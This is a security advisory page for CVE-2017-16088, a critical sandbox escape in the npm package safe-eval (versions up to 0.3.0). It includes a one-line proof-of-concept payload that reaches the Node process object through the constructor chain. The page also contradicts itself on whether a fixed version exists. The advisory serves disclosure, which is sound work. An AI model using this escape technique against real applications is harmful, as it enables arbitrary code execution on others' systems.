Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXd3NnYtNjc3Zy1wNjU2

Sandbox Breakout in safe-eval

Affected versions of safe-eval are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.

Proof of Concept:

This code accesses the process object and calls .exit()

var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");

Recommendation

Update to version 0.4.0 or later

Permalink: https://github.com/advisories/GHSA-ww6v-677g-p656
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXd3NnYtNjc3Zy1wNjU2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 6 years ago
Updated: about 1 year ago


CVSS Score: 10.0
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Identifiers: GHSA-ww6v-677g-p656, CVE-2017-16088
References: Repository: https://github.com/hacksparrow/safe-eval
Blast Radius: 34.4

Affected Packages

npm:safe-eval
Dependent packages: 264
Dependent repositories: 2,730
Downloads: 122,955 last month
Affected Version Ranges: <= 0.3.0
No known fixed version
All affected versions: 0.0.0, 0.1.0, 0.2.0, 0.3.0